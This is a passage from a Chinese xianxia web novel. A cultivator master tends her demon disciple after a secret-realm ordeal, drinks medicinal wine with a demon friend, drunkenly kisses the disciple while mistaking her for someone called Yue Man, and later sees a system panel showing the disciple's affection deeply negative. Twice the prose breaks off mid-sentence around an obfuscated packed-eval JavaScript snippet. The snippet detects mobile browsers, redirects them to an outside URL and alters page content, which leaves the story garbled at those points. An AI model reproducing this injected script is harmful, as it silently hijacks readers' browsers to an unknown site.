脑中不断闪现女人比先前还要苍白的脸颊与在大魔面前为了救她而自甘受辱的画面,崔满阖了阖眸,胸口怨意微滞,哑然许久才发出声音:“……徒儿对天道起誓,接下来所说之言绝未欺骗师尊。” 残魂意识到不对:【你要做什么?!】 “徒儿不敢违逆师尊,从未想要单独离开秘境。” 在听见天道誓的那一刻崔扶仙就蹙起了眉,此时见小魔仿佛被自己吓住般憋住泪花哽咽说话,头也不敢抬一个,手指更是在袍子上扣来扣去。 纱布全然被溢出的血染湿,疼得有些麻木,崔满低头告知:“徒儿那会儿意识模糊,再次清醒时已经无法掌控身体。师尊,徒儿刚至练气,就算想离开秘境也没这个本事……真的不是徒儿。” 这个崔扶仙自然知道,她养出来的小魔有几斤几两她还是清楚的。秘境结界上被攻破的缺口虽属火系,但展露出的实力远远超过崔满如今的修为。 她有疑心的是崔满是否知情、是否自愿。 泛着凉意的灵力卷上小魔身体,眼前一花,再凝神时小魔已被搁置于女人旁边的椅子上,并不刺骨的霜花覆着她的纱布与四肢,将痛意强制冻结凝固, 勉强过关,小魔心下松了口气。 但她这口气显然松得有些早,下一瞬,崔扶仙伸手按住她后脑勺,不容拒绝地命令:“放开神识,我需查探一番。” 操纵身体大多通过神识、魂魄,就如当年那个将崔满困在梦魇里的魇魔。 【不许放她进来!】 正愁怎么解决妄图霸占自己身躯的残魂,崔满现在不怕崔扶仙知晓自己是魔族,闻言后心思活络起来,想借师尊的手斩杀这缕残魂。 她抬袖擦了擦眼睛,听话地打开神识,只感觉脑袋里头猛地泛冷,一抹强大神识霸道闯了进去,在她的神魂深处幻化出影子。 然而,事情出乎崔满和残魂的意料。 反复检查了三四遍,崔扶仙收回神识睁开双目,随手拍了拍小魔头圆润的后脑勺,思忖道:“你神识里没有异常,控制你的东西应该逃走了。” 崔满呆怔:“师尊,您看清楚了吗?” “看清楚了。” 没有追究她的质疑,崔扶仙打量着小魔头:“你从什么时候开始感觉不对劲的?” 【你再敢暴露我一次,就等着我在你神识里自爆。】 亦有不解,但残魂反应很快,当即阴森森地威胁:【看看是崔扶仙杀我的动作快,还是我自爆的动作快。】 崔满心下一梗,暗恨不已:“之前就感觉不对劲,但一直没出过问题,直到昨天被操控住身体时才……” “既然感觉不对劲,为什么不与我说?” “我……我不敢打搅师尊。” 此为实话,她当然不敢打搅。师尊那般厌恶魔族,若抓住残魂之后从残魂嘴里晓得她亦是个魔族,崔满不知自己日后该何去何从。 天道誓无恙,崔扶仙撤去覆在她身上的灵力,心中猜疑未消,但暂且放过小魔头一马,默然片刻后告诉她:“下次感觉不对劲就及时跟我说。我还能吃了你不成?” 话罢,她伸手按住崔满膝盖,指尖化出剑气,将湿透的纱布割开丢去一边,扫了眼血肉模糊的伤口,继而取出膏药一点点撒上。 疼得倒吸了口凉气,崔满忍了忍,看着女人弯腰给自己上药:“师尊,您不生气了?” 就跪了那么一会儿,脚腕和手腕全肿起来。 崔扶仙垂下长睫给她敷药消肿:“事已至此,生气又有什么用?纵然将你打上几顿,事后还得浪费我的药。” “你老老实实在此处休息,过几日我就带你回昆仑。” 视线凝于女人额边垂散的发丝上,崔满犹豫许久,直至崔扶仙快要给她上完药才忍不住开口:“您的修为……是为了救我,闭关失败了吗?” 其实早就闻出来了,师尊现在的气息比从前虚弱许多,连坠入大魔界域里的状态还不如。 在她快速长出新肉的血窟窿上裹好纱布打了个死结,崔扶仙听着小魔头暗自吸气的声音,怒气渐散,眉梢扬了扬:“管好你自己。” “有力气了就滚出去,别赖在我房里。” ———————— “所以你既罚她跪,又给她上药?” 月云行检查了下两人伤势,崔扶仙伤在神魂和丹田,得慢慢养,一时间强求不得。倒是这个小鬼的伤口看起来很奇怪,她转头去问躺在梧桐树上的人,听见个颇为冷酷的答复。 悄然翻起白眼,女妖走至梧桐边好笑地拍了拍树干:“第一次见你这样的师尊,好人也是你做,坏人也是你做。你不怕她记恨你?” 崔扶仙阖眸靠着树干,一条腿随意垂下,还未来得及开口,那边的小魔头便抢着表孝心:“师尊对我做什么都可以,小满绝无怨言。” 她若真无怨言,早在说这句话之前加上天道誓。 心下轻嗤,崔扶仙眼睛都懒得睁,若有若无地轻轻哼了声。 花言巧语的小鬼,当初就是这么把凤凰哄到手的。 月云行瞟了她一下,足尖一点,身形瞬间飞至崔扶仙所在的那根树枝,强行把自己塞了过去,挑衅地当着崔满的面坐在女人腿上。 于树枝下方添上结界,怀里兀地多出只鹦鹉,崔扶仙不理都不行。倒不算排斥,她仅是想起什么,难得倚着树调侃:“你这般姿态若被那位苍欢将军瞧见,我可还有命?” 脸上笑意一僵,月云行抚了抚髻中芍药:“干嘛提她。她若敢对你动手,我定饶不了她。” 女妖忽而传音:“我问你,你真不打算在我这儿继续修炼?我可以想法子将秘境转移到隐州,届时你练好涅槃之术后就穿过隐州回人族,你现在不是定居在昆仑吗?” 她依照卦象在魔域等待多年,妖族还有事情需要她回去处理干净。小凤凰先呆在人族也好,月云行对人族感官平平,没有强求。 早已思考过这个问题,崔扶仙沉吟道:“涅槃之术我已掌握,只差最后一步炼化妖丹,妖丹在何处都能炼化。而且我确实已经离开许久,防止那个东西察觉异样,还是早些回去更好。” 扫了眼坐在桌边与做出来的小鼠灵器自娱自乐的崔满,她的声音不觉沉下:“魔域危险重重,那大魔是魔君身边长老,唯恐魔君发难。” 月云行轻啧:“那与我回妖域怎么样?” 摇头婉拒这个建议,崔扶仙指了指上方:“尚且不知它是如何绑定我的,如果进入妖域后被它察觉,岂不是暴露了?” 这倒是,月云行不语。 “有一件事,不知你是否了解。” 崔扶仙嗅着梧桐独有的香味,将十余年前发生在人域雁来城一事告知女妖,随即在空中以灵力描摹出一张骷髅鬼面:“我跟小满进城时瞧见黑锋城门上悬了张旗,上边绣着如此鬼面,与当初在雁来城里看见的一模一样。” “这鬼面可有来头?” 女妖坐直了些,诧异看向空中的骷髅脸:“你在人族看见了这个?” “黑锋城原先由苍欢手下魔将管理。那魔将出身慕容族,先祖曾是一方领主,但先祖死后家族衰落,到她这一代时只剩她一个嫡系子嗣。鬼面与她家功法有关,慕容敏上任后就绣在城旗上。” “几十年前慕容敏失踪,黑锋城一直由她部下掌管。你们到之前苍晏才被调来接替,她大概没立刻换下城旗,被你看见了。” 魔族功法? 如果雁来一事真与魔族相关,也不应当是慕容敏这样的一城之主。她一个魔域北境的城主,千里迢迢跑去人域残害凡人和散修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14899724|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做什么? 若要修炼邪功,他们魔族已经够邪门了,抓几个同族吃下去魔气涨得更快。何必多此一举,还引得两族矛盾愈发尖锐。 崔扶仙漫不经心地想,难道这个慕容敏还是什么魔族保护主义吗? “好啦,何必牵挂他们人族和魔族的纠纷,又不关我们妖族什么事。” 月云行晃了晃腿:“回头我将此事与苍欢说一声就是,她麾下部将她自己来管。” “你决定要走,我也不拦着。走之前与我喝一杯,如何?” 思绪被打断,崔扶仙回过神,想要推辞:“我不会喝酒。” 要的就是这个效果。 坏心眼的女妖拍拍手,愉快道:“放心,你身上有伤,不给你喝烈酒。只是一些养生药酒,对神魂和丹田都有好处,我还得给你准备一些带走,喝完后你正好可以安心睡一觉。” 拗不过她,崔扶仙抚了抚额,只得妥协。 总不能将小魔头孤零零丢在一旁,既然是药酒,正好给她喂些。 目送月云行离开,崔扶仙跃下树枝,走至石桌旁拎起一只小魔。 听闻师尊与那女妖要喝酒,崔满没什么反应,倒是脑海中沉寂养伤的残魂突然出声:【她不会喝酒,别让她喝。】 小魔被女人提着走,略微嘲弄:【师尊是谁,我又是谁?我怎么敢阻止师尊?管好你自己。】 许是伤势太重,残魂没有与她呛声。 脑海中安静下去,崔满认得清身份,并未贪杯,尝了几口便坐在一旁看心怀不轨的女妖一杯接一杯地给师尊劝酒。 师尊有伤,肤色比寻常还要白,衬得红晕尤为明显。崔满的目光不由自主地停顿于女人脸上,已然看出她素来凌厉淡漠的双目逐渐被雾水打湿,霜雪尽融,露出几分迷蒙之色,无端勾人。 眉头不觉蹙起,小魔一边暗中冷笑师尊看走了眼、轻信这个不知底细的入魔女妖,一边又对女妖刻意灌醉师尊的举动感到恶心。 “……不能再喝了。” 药酒确实有效,体内疼痛缓和不少,但眼前越发地糊。崔扶仙扶着桌面,抬手试图制止月云行递来的又一杯酒:“有些醉了,我先回去休憩,你自便罢。” 托着下巴好生欣赏了一番小凤凰醉酒后熟悉的迷糊样,月云行唇边笑意中含了些意味不明的慈祥,晃着酒杯柔声哄:“最后一杯啦,喝完我送你去休息。” 崔扶仙无暇顾及她古怪的语气,如临大敌般严肃端详抵至面前的酒水,方要接过来时面前蓦然横来一只手。 愣了下,眯着眼睛看去,原是她家小魔。 孝顺又懂事的小魔头对上两人视线,腼腆笑了笑:“师尊醉了,我替师尊喝这一杯吧?” 月云行敛起笑意,没说好与不好,仅看着她喝完。 轻轻放下酒杯,小魔将灵力覆上双腿,弯腰凑至女人耳边:“师尊,小满送您回房吧?” “小满?” 意识不太清醒,崔扶仙板着脸细细观察,确认身份后骄矜伸出手由她扶住,不太放心地警告:“送我回房后你就回自己房间,不许占我的床。” 被搀扶着走了几步,她松软脊背半靠在小魔长得与她齐平的肩上,低声抱怨:“每次睡觉都不安分,一会儿哭一会儿闹,烦死了。” 腿密密麻麻地泛疼,但师尊并不重,崔满好歹是个修士,扶着她轻而易举,只是没想到会听见女人略带嗔意地说出这番话。 有些新奇,从未听过师尊这样的语气。 小魔心里仍怨着这个将自己教养长大的人,此刻扯了扯嘴角,晓得崔扶仙在说醉话,仅轻声应是。 好生送进房、扶至椅子边坐下,崔满正要识相告辞,腰封却骤然被人扯住。 看不清晰,但感觉很熟悉。 脑袋晕晕乎乎,崔扶仙坐在椅子上缓了缓,猛地想起眼前站着的是谁。 是梦里的那个姑娘。 是她的…… 凤眸中弥漫着潋滟水光,褪去所有锋利得不可亵渎的棱角,女人眼角红痣妖冶异常,以一种极为柔软且放任的姿态仰面勾住崔满腰间束带,在小魔睁大的眼睛里将她勾下来,随即搂住小魔脖颈吻了上去。 唇瓣触及之际,她带着些鼻音轻轻呢喃:“小满。” 哪里像个仙君? 脑子里轰然一炸,残魂也被炸了出来,吵嚷嚷地尖声大叫。 崔满浑身僵硬,双手按在师尊身侧椅子扶手上,瞳孔中倒映出女人艳丽含情的眉目,没有错过她舌尖缠绕吐露的令她背脊瞬间酥麻的那声呼唤。 从未了解过这方面的事,小魔在混乱中青涩应对,险些被亲出泪花。 好一会儿,停顿的思绪终于开始转动,崔满抵住女人肩膀,慌忙将她推开。 索性崔扶仙喝醉,搂住她的力道本就不大,被如此抗拒一推,尚有些喘.息,倒在椅背上看向小魔,眉梢微垂,好像不知道她为何推开自己。 太荒唐了,比听残魂说那些污言秽语还要叫崔满难以接受。 谪仙一样可望而不可即的师尊衣冠不整,唇瓣嫣红,妩媚的眸子雾蒙蒙一片,就这样茫然无辜望着她,仿佛轻轻一掐便能掐出把蜜水。 脸上着了火一般,小魔无意识地抿了抿唇,有些无措:“师尊……你……您还认得出我是谁吗?” 眼前重影,大概是梦境的缘故。 崔扶仙不明白之前那般亲昵主动的姑娘为什么要推开自己,听见小魔的话后不由得皱眉:“我自然知道你是谁。你是我唯一的徒儿,我的小满。” 我的小满。 小魔藏在袖中的手指用力掐了掐,忽然感到无法言说的羞恼和臊意,连先前的怨恨都暂且被压了下去。她说不清楚究竟是什么心情,只觉得身上都在发热。 应是伤还没好,崔满舌头打架,难以启齿,来来回回张嘴多次才呐呐发出声音:“师、师尊,我们是师徒……我……小满一直很敬重您……” 她能接受师尊感化教养、利用自己,但没法儿接受师尊要谋取的是自己的这种好感。 这实在是……实在是有违人伦。 眼前之人嘴巴张张合合,崔扶仙一时听不太清,揉了揉眉心,好不容易听清姑娘在说些什么,脸色顿时冷下去:“敬重?你与我说敬重?月满,你糊涂了吗?” 这会儿说敬重是否太晚?谁敬重师尊敬重到将师尊拐上床的? 最开始时崔扶仙并无此等情意,可是月满主动纠缠。 她话中带着抑制不住的质问之意,怎料对面的人闻言后亦瞬间变了脸,神情比她还要恐怖骇人,逐字咀嚼后遽然垂首逼来,杏眼里满是藏不住的森然怒火:“师尊。” “月满是谁?” 记忆残缺的残魂同时出声,杀意扭曲:【月满是谁?!】 16. 第十六章 “你在说什么胡话?月满不就是你?” 眼前投下一片阴影,态度反常的不孝徒全然忘却伪装,弯腰死死盯着她,好似要将她咬碎吞下去,语气也冲得很。 视线越发模糊,身上渐渐不疼了、暖洋洋的,像躺在大团大团棉花上,沉沉浮浮触不到底。 睡意不断涌上,女人眸中水色愈浓,靠着椅背,霜雪铸成的利剑也软了下去。 不过是场光怪陆离的梦,不过是个梦中虚幻的人。 唇间溢满酒气,崔扶仙丝毫不将崔满的怒意放在眼里,自顾侧身取来茶水,任由小魔杵在身前。 她思维迟缓,耷拉下长睫,由着嘴里说,却根本不晓得自己说了什么。 亲热被拒,崔扶仙没有强迫旁人的爱好,饮完茶水后敛起神情,漠然抬膝顶开梦中姑娘:“你今日甚是奇怪。若无此意,从前种种纠缠又算什么?不愿意就出去,我乏了。” 抬手理齐被姑娘弄乱的衣襟,她正要起身,却见面前直愣愣挡着的人半点步子都没挪,让本就烦躁的心更添一把火。 但是没等她皱起眉再次开口,不甚清晰的视线中姑娘仿佛清醒过来,小心翼翼捏住她的衣袖摇了摇,乖顺跪在女人脚边仰头央求:“师尊,别生气,别赶小满走。小满刚刚喝了些酒,有些糊涂……我……我是愿意的。” 忍住恶心与愤懑,连腿上一刻不歇的疼痛都显得微不足道。 崔满慢慢伏在女人膝上,指尖勾住师尊腰间系着的一抹青纱,故作懵懂迷糊模样试探询问:“师尊,您方才真的在叫我吗?小满怎么记得小满明明是随师尊姓崔?” 她瘪了瘪嘴,猫儿一样一下一下用手指绕着那抹纱:“师尊是不是把小满认成了其他人?师尊在外头还有别的徒儿,是不是?” 话至最后,似真似假的酸意遮也遮不住。 眼前景象重影,耳边宛如隔着层膜,总是听不真切。崔扶仙扶额摇了摇头,勉强将小魔的话断断续续听完,手心不觉覆上小魔披在身后的大辫子,怒意如轻烟般飘散:“才多大点儿就晓得喝酒,怪不得这样糊涂,连姓什么都忘了。” 她以指腹抚过小魔脸上纹路,某个瞬间像极了被顺毛舒服后埋在翅膀中昏昏欲睡的小雀,既慵懒又温和,好笑地安抚:“养你一个就够费劲了,哪里有多余功夫去收其他徒儿?我不会认错你脸上的纹路,也不会认错自己徒儿,你就是我的月满。” 怪不得当初会找上她来感化攻略,原来是因为她脸上黑纹跟那个狗屁月满很像。 四肢发冷,心头却怒火中烧。崔满低眸掩去不该有的情绪,握住女人的手贴至脸颊,眼睛亮晶晶地看向崔扶仙,忽而露出一个狡黠的满是撒娇意味的笑容:“师尊真好,师尊能不能送小满一个礼物?” 方才之事还没找她算账,她竟倒反天罡地讨起了礼物。 崔扶仙坐姿放松,对梦中出现的姑娘极为容忍:“先说说看,你想要什么礼物?” “想要师尊亲手给小满写几个字。” 似蝴蝶点水般偏头吻过女人掌心,崔满无视脑中残魂的叫嚷,拙劣学着师尊之前一闪即逝的含情姿态,不好意思地小声道:“就写师尊与小满的名字,好不好?” 她年纪小、不通情事,装得并不像。索性崔扶仙此刻只觉身处云雾之中,实在看不清什么,由小魔糊弄了过去。 这个要求并不过分,女人扬了扬眉梢,随意提笔。 写月满二字时倒是轻松,但写至崔扶仙自己的名字时笔尖停顿许久,墨水晕染了大片。 揉着眉心又过半晌,崔扶仙阴差阳错间恍惚落笔书写二字,着实困得不行:“拿去罢,我要休憩了。” 纸张边缘被攥得发皱,旁边的小徒面无表情地迅速收起礼物,乖觉伸手扶住师尊,将她扶到床边后垂头躬身道:“师尊好梦。” 含糊应下,崔扶仙取走发冠、褪去外衣与长靴,继而彻底被绵软的云朵包裹,意识飘飘浮浮地跌下,顷刻陷入昏睡。 大概已与梦中姑娘相会过,后边无梦。 —————— 药酒效果不错,崔扶仙一觉睡至次日下午。再次醒来时神魂中的伤痛明显有所减轻,紊乱的丹田亦平复不少,只是脑袋很不舒服,走路时经常感觉踏不到实处。 “正常。我好不容易才酿出来,药效强劲得很。你喝了那么多,能这个时辰爬起来才叫我意外。” 将泡好的花茶递给小凤凰,月云行若无其事地打探:“昨夜,咳,没发生什么吧?” 女妖极喜欢芍药,日日换着两朵新鲜的往头上戴不说,连泡茶都用芍药花瓣泡。 捏起杯盖拨了拨浮在上边的花瓣,崔扶仙回忆片刻,淡淡告知:“记不太清,小满送我回房后我大概就睡了,应当没发生什么。” 坐在她身旁的小魔动作微顿,快速瞄了师尊一眼。 没发生什么就好。 仔细端详小凤凰的脸颊和脖颈,白皙如旧、毫无异样,月云行端起茶盏抿了口,眉头放心舒展开来:“那就好,还怕你发酒疯呢。” 崔扶仙漫不经心地望向不远处的梧桐树,暗自盘算能否将梧桐挖走:“我只是不会喝酒,不是酒品差,还没人说过我会发酒疯。” 此话一出,剩下的一妖一魔都诡异沉默。 到底是没人说,还是没人敢说啊? 到底是人家辛苦种植,崔扶仙遗憾放弃不道德的念头,转而直白侧眸问女妖:“我很喜欢这颗梧桐,可否卖予我?” “本就是为你种的,何谈卖不卖?” 月云行托着腮,竖起一根食指摇了摇,笑盈盈地果断拒绝:“不过暂且不能给你,我得带回妖域,省得你在外头飞久了不肯回来。” 她话中之意二人皆懂,不知前因的小魔却听不明白。 心下作呕,崔满没吭声,厌恶这样暧昧的不知所谓的语气。 瞥了眼今日格外安静的小魔头,崔扶仙算算系统给的任务时限,恍然竟也过去这些年,曾经瘦小的孩子如今长得与她差不多高了。 “光阴似箭,数十年弹指便过,不会叫你等太久。” 她以茶代酒:“还未多谢你这段时日对我师徒二人的照顾。这次掉落魔域太过仓促,下次见面时我会为你备好礼物。” 小魔机灵,亦端起茶盏道谢。 沉睡数千年,等待数百年。 资质平庸却幸运受到凤凰庇护的女妖凝视着眼前太过年轻的小凤凰,轻声道:“我等着那天。” 杯盏碰撞,清脆作响。 又过几日,凤凰向北,鹦鹉往南。 ——————— 很早就与贺知雪联络报过平安,昆仑众人皆晓得她虽身受重伤却没死。脱离相对而言更为危险的魔域后崔扶仙不着急回瑶光峰,带着崔满走走停停地边养伤边赶路。 踏入人域结界后没过多久,脑海中再次响起那道熟悉的声音。 不知为何,崔扶仙敏锐捕捉到些机械不该有的疲惫和焦躁。 系统一出现就咄咄逼人:【这几年你在哪儿?】 【你还好意思说?】 崔扶仙气焰比它更高:【我被大魔抓去魔域,直到现在才逃出来。先前怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14899725|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么联系你都联系不上,你死哪儿去了?】 她非但语气冷,说话也刻薄得很,像是要把几年的怒火全撒出来似的,口不择言讥讽道:【什么狗屁天道使者?当初是你请我来感化魔头,不是我求的你。誓约有效期内你难道没有保障我存活的责任?如果我死了,任务失败,你就不怕崔满重新长成祸世女魔?】 已经发觉她的修为掉落至合体中期,系统被骂得愣了愣,气势霎时弱下:【……这么大火气做什么?】 【疼的不是你,你当然没火气。】 女人闭上眼睛缓了缓:【滚远点儿,最近别让我听见你的声音。】 脑中顿时沉寂下去,就在崔扶仙以为它能消停时系统却再次开口,声音里毫无情绪,仿若真正的机械:【检测到魔头已经成年,系统界面正式开启,宿主往后可以实时查询攻略进度与魔头对您的好感度。】 崔扶仙盘腿靠着树干,略微诧异,倒真被它勾起些兴趣,一时间没再赶它滚,在神识中跟随指引打开了所谓的系统界面。 非常简陋,偌大透明界面上仅显示出两道横条,左侧一板一眼写了简体字,一条名为攻略进度,一条名为好感度。 如果世界上真的有系统这种生物,大概不会愿意让某个跟不上时代的老古董败坏整个系统群体的名誉。 自认把小魔头养得不错,崔扶仙难得好奇,尝试在神识里点了点那两道横条,却发现上面一直处于空白状态:【怎么看?】 她猜测这位系统也是第一次接触系统界面,问题丢下后过了好半晌才回复:【要正对着魔头才能检测,你家魔头去哪儿了?】 【去弄吃的了。】 天色已暗,跟前生着橘红篝火。崔扶仙带崔满前往昆仑,今天正好路过一片山脉,夜里要在林野中落脚歇息。她养大的小魔懂事乖巧,体贴地让师尊先坐下,自告奋勇去附近打猎孝敬师尊。 闲来无事,等待过程中崔扶仙取下腰间长剑一点一点地擦拭,如覆寒霜、总叫人望而却步的眉目于噼里啪啦燃烧着的火焰照耀下微不可觉地柔和几许。 她慢慢想着过去的十余年,想着小魔头尚且稚嫩的伪装与手段,自然晓得座下这个小徒儿并非良善之辈。 或许如系统最初所说,崔满生来就继承了魔族的劣根,狡诈与野心刻在她骨子里,培养过程中稍有差错便会如预言中一般残害世间。 但崔扶仙单从身为师尊的角度去评判,她觉得崔满远远达不到祸世的标准,攻略感化的进度应当不错,好感度……这种东西倒是无所谓。 “师尊,我回来啦。” 说曹操,曹操就到。 小魔含笑的声音陡然从左侧树林中传出,伴随着枝叶被拨开的轻微哗啦声。 崔扶仙动作稍顿,将长剑收回剑鞘、放至腿上,既而抬眸望去。只见崔满杏眼弯弯地对她笑,提着处理干净的两只兔子两条鱼小跑过来,讨夸般高高抬起展示给师尊看,活脱脱一个天真俏皮又亲近师尊的小女郎。 回忆了一番将小魔养大的过往,纵然崔扶仙这样的人,此时都不免闪过些吾家有女初长成的欣慰。 但欣慰不过两瞬,崔仙君颇为自信地打开系统界面,第一时间去看上头的好感度。 唇边若有若无的笑意缓缓僵住。 透明界面上明明白白标记着: 【好感度:-100】 【攻略值:0】 …… 崔扶仙:? 默然半天,崔扶仙并未生气。 她冷静向系统反馈:【赶紧修一下,系统界面出错了。】 17. 第十七章 【你这上面显示的好感值跟别人反着来的?】 并不内耗,崔扶仙瞥了眼篝火旁勤勤恳恳烤肉刷蜜的小魔头,在脑海中心平气和地给系统倒腾出来的界面打了无数差评。 似是察觉师尊的目光,崔满若有所感抬眸瞧来,对上女人视线后瞬间弯唇露出一个灿烂且毫无阴霾的笑容,轻快道:“请师尊稍等片刻,肉马上就烤好啦。” 微微颔首,崔扶仙暂且搁下疑虑,又看了看神识里浮现的偌大负值,将生起的烦闷和怒意全部甩给系统,不满斥责:【没指望你有什么大能耐,但这么点小事都做不好?】 一时忘记反驳,系统比她还要震惊不解,显然也怀疑是自己弄出来的界面出错。 但它一声不吭捣鼓半天,系统界面亮了暗、暗了亮,反反复复十来回,两个刺眼的数值却分毫不变。 这头崔扶仙已经吃上孝顺徒儿烤好献上的甜滋滋的兔肉鱼肉,那边系统欲言又止,迟疑许久后忍不住出声询问:【系统界面没错,你家这魔头对你的好感确实……你究竟都对她做了什么?】 负一百的好感,这哪是师徒,这得是不死不休的仇敌啊! 与惊为天人的好感度相比,零进度的攻略值都显得很不起眼。 【我能对她做什么?】 咀嚼动作渐缓,崔扶仙默然放下嘴边刚吃了几口的兔子肉,胃口全无。 小魔正挨在她旁边啃鱼,余光发现她不动后连忙探过头:“师尊,您怎么不吃了?是小满烤的不好吃吗?” 心头兀地燃起无名之火,崔扶仙忍住皱眉的冲动,维持平静神色侧眸细细打量眼前被自己养了十来年的小魔,视线在崔满看不出半点端倪的脸颊上逗留。 小魔凑得很近,长长麻花辫披在右边肩上,火光下瞧着毛茸茸的,无害亦无防备。 她伸出干净的手,像往常般轻轻摸了摸小魔圆溜溜的后脑勺,低声否认:“只是想起一个故人,与你无关。小满烤得很好吃。” 哪个故人?月满? 险些将手里的竹签折断,崔满忍气吞声,姿态自然地用脑袋蹭了蹭女人的手心,眯着眼睛直笑,眸中溢满孺慕之色:“师尊喜欢便好。我存了许多蜂蜜,可以再做好几次烤肉,师尊想吃就尽管告诉小满。” 小魔看起来很喜欢师尊夸奖她、摸她的脑袋。 崔扶仙嗯了声,再次将注意转移到神识里还亮着的界面上。 好感度终于有所变化,在崔仙君与阴暗窥视的系统眼皮子底下,负一百的数值闪烁片刻,随即像灵光凝聚般慢慢固定。 【好感度:-102】 短短几分钟,又摸又夸,成功降低两个点。 崔扶仙:? 系统:? 动作僵住,女人无法言喻地收回手,竟不知该说什么,此刻被小魔头乖巧模样哄骗的愤怒都比不上不明所以的茫然:【你确定不是系统界面出错?】 系统不语,只默默查探,半晌后干巴巴答复:【确定。系统界面真没出错,是你家魔头出错了。好感度也跟当前情绪有关系,所以她这会儿到底在生什么气?】 着实想不出来方才有何异常,崔扶仙不欲为难自己,直接问小魔:“小满,你现在可有烦心不快之事?” 咽下嘴里的鱼肉,崔满随手将竹签丢进篝火里,唇角弧度丝毫未变:“没有呀,师尊为何突然问这个?” 【好感度:-103】 仅一句话的功夫,好感度又降了。 看得头疼,崔扶仙揉了揉眉心,索性关掉神识里的透明界面,将烤肉扔给两面三刀的小魔头:“随口一问。” “师尊,您不吃了吗?” 眼疾手快地接住竹签,小魔见师尊忽而沉下脸站起身,不由得愣了愣。 她方要跟着站起来,却见女人想起什么似的偏头投来冷厉一眼,竟缓缓拔出腰间长剑丢来,不答反道:“崔满,我许久没考查你的剑术,正好现在有空,吃完后爬起来练给我看看。” 不揍她一顿实在难以消气。 袖中指骨轻捏,发几许咔嚓声,被木柴燃烧声全然盖过。 师尊抱着胸靠在树干上闭目养神,即将被揍的小徒一手抓着师尊的剑、一手抓着快要冷掉的烤肉,有些摸不着头脑。 呆呆坐了片刻,崔满眨了眨眼睛,低头三下五除二地将被师尊咬了几口的烤肉解决掉,脑中游神般不着边际地想到。 还是崔字好,崔满比月满好听。 半晌后,崔扶仙轻轻呼出一口浊气,手腕一甩,断了半截的树枝瞬间向左侧射去,直直插入树干,自中间裂成两半。 残留女人手心温度的部分露在外头,尚在颤动。 她慢条斯理地理齐袖摆与衣襟,重新坐至篝火旁的树底下,垂眸瞧向地上被揍得鼻青脸肿、重重喘着粗气一时爬不起来的小魔头,唇角微不可觉地勾了勾:“还可以,这些年倒没落下剑术。” 就小魔头目前的修为而言,她的剑术算得上出色。 终究是被修为困住了。 从单方面殴打开始,脑中的系统便消失无踪。崔扶仙试探着唤了几次,确认神识里没有东西后才收敛心神,手指有一下没一下地点着膝盖,视线长久于小魔身上停顿。 防止所谓的系统界面与系统有联系,她没有再打开系统界面。 “……多谢师尊指教。” 舔了舔被打破的嘴角,崔满撑着地面挣扎站起身,步履蹒跚走至女人跟前单膝跪下,将师尊的长剑捧于双手之上恭敬送还。 冷眼旁观她艰难动作,崔扶仙接过长剑,突然没由来地问:“崔满,你可恨我?” 惶然抬眸,小魔头果断将两条腿全跪了下去:“师尊这是何意?小满是师尊一手教养长大,为何要恨师尊?又怎么敢恨师尊?” 敢这个字用得好。 倚着树干无声叹去一声,崔扶仙取出膏药,为崔满一点点擦至脸颊青肿起来的地方,淡淡道:“我打过你,亦罚你跪过……” 灵光一闪般,她的话顿了顿,定定注视着这个小魔头,轻声接上:“将你收为亲传时我曾许诺你,会帮你成为强大的修道者。但时过境迁,除却之前与你说过的以武入道的秘籍,我至今不曾找到能让你恢复修炼的法子。” 瞳孔中倒映出小魔细微变化的神色,膏药差不多涂完,崔扶仙放下手,再次问:“小满,你恨我吗?” 究竟是不曾找到,还是根本就不想让她这个魔族继续修炼? 崔满心下冷笑,并不上勾。 然而,为她抹药的手带着些凉意,师尊的声音不疾不徐,最会蛊惑人心,轻而易举便让埋藏着的苦意和委屈慢慢自心底冒出。 喉咙仿佛被什么东西堵住,崔满咬住嘴巴里的软肉,在对上崔扶仙被火光缀得好似闪烁出几分暖意的瞳孔时涌至嗓子眼的气忽而泄下。 恨字太过沉重,她反复几次才艰涩发出声音。 “……不恨。” 见她嘴巴都瘪了进去,不晓得里头在干嘛。崔扶仙轻轻按了按她的伤口,满意看着崔满吃痛揪起脸,大概晓得一点她的心结何在:“真不恨?” 虽被揍了一顿,骨头倒挺硬。 女人靠得太近,素来喜欢装模作样的小魔无意识梗起脖子,恭顺乖巧的神色于近在咫尺的呼吸中摇摇欲坠,暴露出最底下不肯被驯服的小野狼般的倔强,暗自咬牙:“不恨!” 回应她的是嘴角愈发用力的一按。 嘶,崔满猝不及防,顿时疼出泪花。 从前就觉得自己养的这只小魔有意思,现在依旧。崔扶仙眼见小魔头埋下头不吭声,莫名生出些做弄人后的兴味,转而抬手给她拨了拨额头两边的头发,轻飘飘告诉她:“不恨最好,恨了也没办法。” “崔满,我是你师尊。师者为母,在你翅膀没长硬之前我想对你做什么,你都得受着。” 对那个月满又亲又抱,对她就是师者为母、什么都得受着。 真不公平,崔满愤愤扣了扣手心。奈何人在屋檐下不得不低头,她终是细声细语应是:“……师尊放心,小满晓得。” 师尊不仁,别怪她不义。 师尊哄骗她、玩弄她的感情,把她当成狗屁月满的替身后还想斩断她的前程、借她修炼飞升。 她偏不让! 【好感度:-120】 【好感度:-130】 【好感度:-150】 